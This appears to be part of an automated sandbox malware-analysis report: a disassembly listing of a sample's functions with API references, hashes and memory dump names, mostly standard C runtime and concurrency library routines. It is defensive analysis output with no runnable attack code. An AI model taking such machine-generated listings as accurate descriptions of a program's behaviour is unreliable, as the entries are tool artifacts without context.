std::invalid_argument::invalid_argument.LIBCONCRT ref: 0058DBAA

Strings

pScheduler, xrefs: 0058DBA2

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: ad5e8441263b250b066bf777d57e74e990c73ad97d5c340deb6ab835b1446377
Instruction ID: 2badc336a16a2977374282db98d389ad41a11d71dab2031401cedbf12e57c437
Opcode Fuzzy Hash: ad5e8441263b250b066bf777d57e74e990c73ad97d5c340deb6ab835b1446377
Instruction Fuzzy Hash: 37F05931A0060867CB20FA54D856C9DFFB5BED0B25720806EE902331C1DB30AD05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00582FC3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33timeCOMMON

Download Yara Rule

APIs

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00582FCE

Part of subcall function 00581FD1: CreateTimerQueue.KERNEL32(?,?,?,000000FF,00000000,00000020,?,?), ref: 00581FFF

Concurrency::details::platform::__DeleteTimerQueueTimer.LIBCONCRT ref: 00582FD7

Part of subcall function 0058363A: DeleteTimerQueueTimer.KERNEL32(?,?,?,?,?,00581F81,00000000,?,00000000), ref: 0058364A
Part of subcall function 0058363A: GetLastError.KERNEL32(?,00581F81,00000000,?,00000000), ref: 00583654

Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00583006

Strings

3W, xrefs: 00582FF8

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Timer$Queue$Concurrency::details::Delete$Concurrency::details::platform::__CreateDerefErrorLastLockNodeNode::Shared
String ID: 3W
API String ID: 2265715777-3302607274
Opcode ID: c004088e9a468e0ebfce55cada73dcc192beff55775063a2e991d1c1b77a1eb0
Instruction ID: d2559f66c8f43e3402f078c8d9f1e0c52dc8c4e8269e39b69c7505604c3614ec
Opcode Fuzzy Hash: c004088e9a468e0ebfce55cada73dcc192beff55775063a2e991d1c1b77a1eb0
Instruction Fuzzy Hash: 8EF0E235301211ABCB04B7259C09A3ABF69BFC4770B144025EE05AB341DB21B902CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0058F39D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0058F3BF
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0058F3D2

Strings

pContext, xrefs: 0058F3CA
3W, xrefs: 0058F3B3

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: 3W$pContext
API String ID: 548886458-2240379735
Opcode ID: 0ce245a4e9e0ad0a8e1a5c274373120902e8a44f2b5b624db3a19d7d21945f48
Instruction ID: 693c70736dba4b826610fa09bf22f95a47d822298e5684fa956386de273e1013
Opcode Fuzzy Hash: 0ce245a4e9e0ad0a8e1a5c274373120902e8a44f2b5b624db3a19d7d21945f48
Instruction Fuzzy Hash: 05E02236B002086BCF04B774E86DDADBFB9BEC4710709402AA905A3292EB70AE04C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 005A03C1 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005A0448

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ef0250a1834fab0edcf039f908b4eb8de797c860636ef4b70f3785c62e0ec0bf
Instruction ID: 35272301ff3cfdf362b9d60dc6299c1d6779610cbffb60c1d961511d727a3d1f
Opcode Fuzzy Hash: ef0250a1834fab0edcf039f908b4eb8de797c860636ef4b70f3785c62e0ec0bf
Instruction Fuzzy Hash: 2CB14632D2125A9FDB15CF28C891BBEBFE5FF9A350F14516AE445AB282D2348D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00567BE0 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,E5E97FEB), ref: 00567C59
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00567CC0
GetProcAddress.KERNEL32(00000000), ref: 00567CC7

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 91ea7c0feb1d62284bf0c3a10f0ccea8c3256864242e7c335c15c9987ad171e9
Instruction ID: c0b1c8ed2c8af0dd7508503b492014c971f841b8b7e61180ebfaae1307251fab
Opcode Fuzzy Hash: 91ea7c0feb1d62284bf0c3a10f0ccea8c3256864242e7c335c15c9987ad171e9
Instruction Fuzzy Hash: 6951F57190420C9BEB14EB68DD497EDBF75FF89314F504698E809A7282EB349A848F91

Uniqueness

Uniqueness Score: -1.00%

Function 00598685 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 005986D6
TypeidsEqual.LIBVCRUNTIME ref: 005986FB
PMDtoOffset.LIBCMT ref: 00598711
PMDtoOffset.LIBCMT ref: 00598792

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: a68ea75894e1eed673ac14fad613598920fa576a4b6c6ffd161cf29025fc9b68
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 20518C3990420A9FCF14CFA8C881ABEBFF5FF56350F24449AD851A7251DB32A905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 005A989E Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005A996E
_free.LIBCMT ref: 005A9997
SetEndOfFile.KERNEL32(00000000,005A52DA,00000000,0059E012,?,?,?,?,?,?,?,005A52DA,0059E012,00000000), ref: 005A99C9
GetLastError.KERNEL32(?,?,?,?,?,?,?,005A52DA,0059E012,00000000,?,?,?,?,00000000), ref: 005A99E5

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 7124ab299648453f0baecfd3f76fc73bf1ef76b7ae46897e5f335fbb4c767c8b
Instruction ID: cf23dc6f5dc39de286168c6cda94cbd53ec8b7844321dc10106ad99f2d59be22
Opcode Fuzzy Hash: 7124ab299648453f0baecfd3f76fc73bf1ef76b7ae46897e5f335fbb4c767c8b
Instruction Fuzzy Hash: 9B41D576900216BFDF116BB88C4ABAF7FB5BF86360F240518F528E7191EA30DC418761

Uniqueness

Uniqueness Score: -1.00%

Function 00562F80 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0056301F
GetCurrentThreadId.KERNEL32 ref: 0056303E
__Mtx_unlock.LIBCPMT ref: 0056308C
__Cnd_broadcast.LIBCPMT ref: 005630A3

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: ff31eaeefa423565ebabd074cadd9502fad0bf8c4ccf6ed43749e1ef4a6d8aa2
Instruction ID: 0d83662b1952785d169eb003216ee998fa68c930ae0d98f0c9fb99f006942255
Opcode Fuzzy Hash: ff31eaeefa423565ebabd074cadd9502fad0bf8c4ccf6ed43749e1ef4a6d8aa2
Instruction Fuzzy Hash: A341F5B0A006169FDB21DF64C949B5ABBE8FF15324F008539E819D7791E735EA08CB81

Uniqueness

Uniqueness Score: -1.00%

Function 005A1220 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0059A40B: _free.LIBCMT ref: 0059A419

Part of subcall function 005A21F7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,005A8690,?,00000000,00000000), ref: 005A2299

GetLastError.KERNEL32 ref: 005A1288
__dosmaperr.LIBCMT ref: 005A128F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 005A12CE
__dosmaperr.LIBCMT ref: 005A12D5

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 2bfd4e0e401fee25c35aeff346fd044bba40829513aaf16a1836bcfd45d99af4
Instruction ID: 29a722d47f65a2e18de07fc04c8d7fd474d0e7fad2860a8b2b7a367d4b020c8c
Opcode Fuzzy Hash: 2bfd4e0e401fee25c35aeff346fd044bba40829513aaf16a1836bcfd45d99af4
Instruction Fuzzy Hash: 4D210875604A066FDF20AFA68C84A6F7FACFF56364B004614F929C7190D730EC418BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00594DA0 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00594E34
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00594DE5

Part of subcall function 0058BD8C: SafeRWList.LIBCONCRT ref: 0058BD9D

SafeRWList.LIBCONCRT ref: 00594E2A
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00594E4A

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: 3dc841a8364004b0d895f1a74d0f1a3bcf20f303820ffd43160d975036b9713c
Instruction ID: 28290aee8f85b438596f6ba4f3cdd85ebe2fe19d60bdaf2792a7fc7271b52970
Opcode Fuzzy Hash: 3dc841a8364004b0d895f1a74d0f1a3bcf20f303820ffd43160d975036b9713c
Instruction Fuzzy Hash: C821B07560120AEBCB04DF24C885FA5FFEDBB85718F14D2AAE4054B142D731E99ACB80

Uniqueness

Uniqueness Score: -1.00%

Function 00582D5D Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00582D7F

Part of subcall function 00582F3B: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00588EF7

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00582DA0

Part of subcall function 00583C22: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00583C3E

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00582DBC
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 00582DC3

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 6c63d0358a120262adfd434eb52f622526a6861585db9cefbfd05b731f6d03f8
Instruction ID: 326344de27bd1efafd22d67501adc27da969a68f6d5dccc2784c66638a6104e2
Opcode Fuzzy Hash: 6c63d0358a120262adfd434eb52f622526a6861585db9cefbfd05b731f6d03f8
Instruction Fuzzy Hash: 210184B15017066BD7207F69CC8A9AABFA8FF54750F10492ABD55B2141D770990187A1

Uniqueness

Uniqueness Score: -1.00%

Function 00596E2F Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00596E49
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00596E5D
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00596E75
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00596E8D

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: a71b1b60c4e21a30772132237c374901babeeff6db7473e5e810de4ed77468a8
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: F501213A600115ABCF12AE58C845EAF7FAEBF90350F000416FC16AB281DA70ED1896E0

Uniqueness

Uniqueness Score: -1.00%

Function 0059F01D Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,0059F182,00000000,?,005A587B,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 0059F033
GetLastError.KERNEL32(?,005A587B,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,0059F182,00000000,00000104,?), ref: 0059F03D
__dosmaperr.LIBCMT ref: 0059F044

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 88bc84faefb7b5b576ead8fe0e1e2afa8819ed960e1ef7f73b4a52585657f435
Instruction ID: 6cadecfca899ee2c4eb43dfd935a997004134f946d80448ac650839fe0e33bb4
Opcode Fuzzy Hash: 88bc84faefb7b5b576ead8fe0e1e2afa8819ed960e1ef7f73b4a52585657f435
Instruction Fuzzy Hash: B1F03132600116BBCF206BA6DC0D95ABF6DFF543A07158621F52AC7521C731E861DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0059F086 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,0059F182,00000000,?,005A5806,00000000,00000000,0059F182,?,?,00000000,00000000,00000001), ref: 0059F09C
GetLastError.KERNEL32(?,005A5806,00000000,00000000,0059F182,?,?,00000000,00000000,00000001,00000000,00000000,?,0059F182,00000000,00000104), ref: 0059F0A6
__dosmaperr.LIBCMT ref: 0059F0AD

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 4cb5c0ab9fcef4e400e384c379a18c44a555513ea34068207dee1145682a3149
Instruction ID: cf536b3046a712404e556b8867d403f66e133962563dd5ff8f5f629acf5fc529
Opcode Fuzzy Hash: 4cb5c0ab9fcef4e400e384c379a18c44a555513ea34068207dee1145682a3149
Instruction Fuzzy Hash: 0AF01936604116BB8F206BA6DC0D85AFF6DFF943A03158A25F52AC7422D731E861DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00588A76 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005839D6: TlsGetValue.KERNEL32(?,?,00582F57,00582D84,?,?), ref: 005839DC

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00588AA0

Part of subcall function 00591D7F: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00591DA6
Part of subcall function 00591D7F: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00591DBF
Part of subcall function 00591D7F: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00591E35
Part of subcall function 00591D7F: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00591E3D

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00588AAE
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00588AB8
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00588AC2

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: d2c86b9c31d5fc0793c2a132a2e505e5718dd521c772f32f6853c78f28ccc85c
Instruction ID: 3b7d70cd963c04f2266984f983dc4ec9eac61477bc3069eebfe9f8435d8801d1
Opcode Fuzzy Hash: d2c86b9c31d5fc0793c2a132a2e505e5718dd521c772f32f6853c78f28ccc85c
Instruction Fuzzy Hash: E8F0F63170061AABDF25B665980A97DBF6ABFD0B60B08006BFC0163192EF749E05CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 005AA39F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00568000,0000000F,005C4630,00000000,00568000,?,005A8A8A,00568000,00000001,00568000,00568000,?,005A3965,00000000,?,00568000), ref: 005AA3B6
GetLastError.KERNEL32(?,005A8A8A,00568000,00000001,00568000,00568000,?,005A3965,00000000,?,00568000,00000000,00568000,?,005A3EB9,00568000), ref: 005AA3C2

Part of subcall function 005AA388: CloseHandle.KERNEL32(FFFFFFFE,005AA3D2,?,005A8A8A,00568000,00000001,00568000,00568000,?,005A3965,00000000,?,00568000,00000000,00568000), ref: 005AA398

___initconout.LIBCMT ref: 005AA3D2

